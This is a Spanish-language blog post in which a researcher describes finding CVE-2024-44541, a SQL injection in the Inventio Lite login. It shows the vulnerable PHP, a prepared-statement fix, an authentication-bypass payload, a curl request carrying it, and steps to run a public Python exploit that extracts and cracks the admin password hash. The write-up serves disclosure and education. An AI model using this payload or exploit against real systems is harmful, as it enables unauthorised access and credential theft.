Mi primer CVE - CVE-2024-44541

Table of Contents

Introducción:

Recientemente, descubrí mi primer CVE, un hito importante en mi trayectoria en ciberseguridad. Aquí comparto brevemente el proceso. ¿Qué es un CVE?

CVE (Common Vulnerabilities and Exposures) es un sistema que identifica y categoriza vulnerabilidades de seguridad en software, permitiendo que se reporte y solucione de manera coordinada. El Descubrimiento


Código Vulnerable

El código vulnerable se encuentra en el archivo de login, donde la entrada del usuario no se escapa adecuadamente antes de ser incluida en la consulta SQL:

 1if(!isset($_SESSION["user_id"])) {
 2    $user = $_POST['username'];
 3    $pass = sha1(md5($_POST['password']));
 4
 5    $base = new Database();
 6    $con = $base->connect();
 7    $sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
 8    $query = $con->query($sql);
 9    $found = false;
10    $userid = null;
11    while($r = $query->fetch_array()){
12        $found = true;
13        $userid = $r['id'];
14    }
15}

En esta implementación, el parámetro username se concatena directamente en la consulta SQL, permitiendo la inyección de código malicioso.


Código Corregido

La vulnerabilidad se solucionó utilizando consultas preparadas, que permiten escapar adecuadamente las entradas del usuario y evitar la inyección SQL:

 1if(!isset($_SESSION["user_id"])) {
 2    $user = $_POST['username'];
 3    $pass = sha1(md5($_POST['password']));
 4
 5    $base = new Database();
 6    $con = $base->connect();
 7
 8    // Preparar la consulta
 9    $stmt = $con->prepare("
10        SELECT * FROM user 
11        WHERE (email = ? OR username = ?) 
12        AND password = ? 
13        AND is_active = 1
14    ");
15
16    // Vincular los parámetros
17    $stmt->bind_param("sss", $user, $user, $pass);
18
19    // Ejecutar la consulta
20    $stmt->execute();
21
22    // Obtener los resultados
23    $result = $stmt->get_result();
24    $found = false;
25    $userid = null;
26
27    while($r = $result->fetch_assoc()){
28        $found = true;
29        $userid = $r['id'];
30    }
31
32    // Cerrar la declaración
33    $stmt->close();
34}

Explotación

Payload de Bypass de Autenticación

Un atacante puede explotar esta vulnerabilidad utilizando un payload como el siguiente para eludir la autenticación:

1username -> ") or 1=1-- -
2password -> cualquier_valor

Ejemplo de explotación con curl:

1$ curl -X POST http://URL_INVENTIO_LITE/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""

Script de Explotación Automática

He desarrollado un script en Python que automatiza la extracción del nombre de usuario y hash de la contraseña del administrador, y luego intenta descifrar la contraseña.

Para usar el script, clona el repositorio y ejecuta el script:

1$ git clone https://github.com/pointedsec/CVE-2024-44541
2$ pip install -r requirements.txt
3$ python3 sqli.py

Ejemplo de salida del script

1[*] Checking if target is vulnerable
2[+] Target Vulnerable!
3[*] Dumping Administrator username...
4[◤] Extracting Username: -> POINTEDSEC@GMAIL.COM
5[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
6[+] Password Decrypted! -> POINTEDSEC@GMAIL.COM:admin

Impacto

La explotación de esta vulnerabilidad puede tener las siguientes consecuencias:


Referencias


Créditos

Este CVE fue descubierto y reportado por Andrés Del Cerro (alias: pointedsec, yo jejeje). Si necesitas más información, no dudes en contactarme a través de pointedpentesting@gmail.com.


Conclusión

Después de validar la vulnerabilidad, procedí con su divulgación responsable, colaborando con el equipo de seguridad afectado para resolverla.

Descubrir y reportar un CVE ha sido una experiencia educativa, reforzando mi enfoque en la seguridad informática y motivándome a seguir contribuyendo a este campo.

Happy Hacking! 🚀

#Cybersecurity   #Penetration Testing   #Web Hacking   #CVE   #Informative   #CVE-2024-44541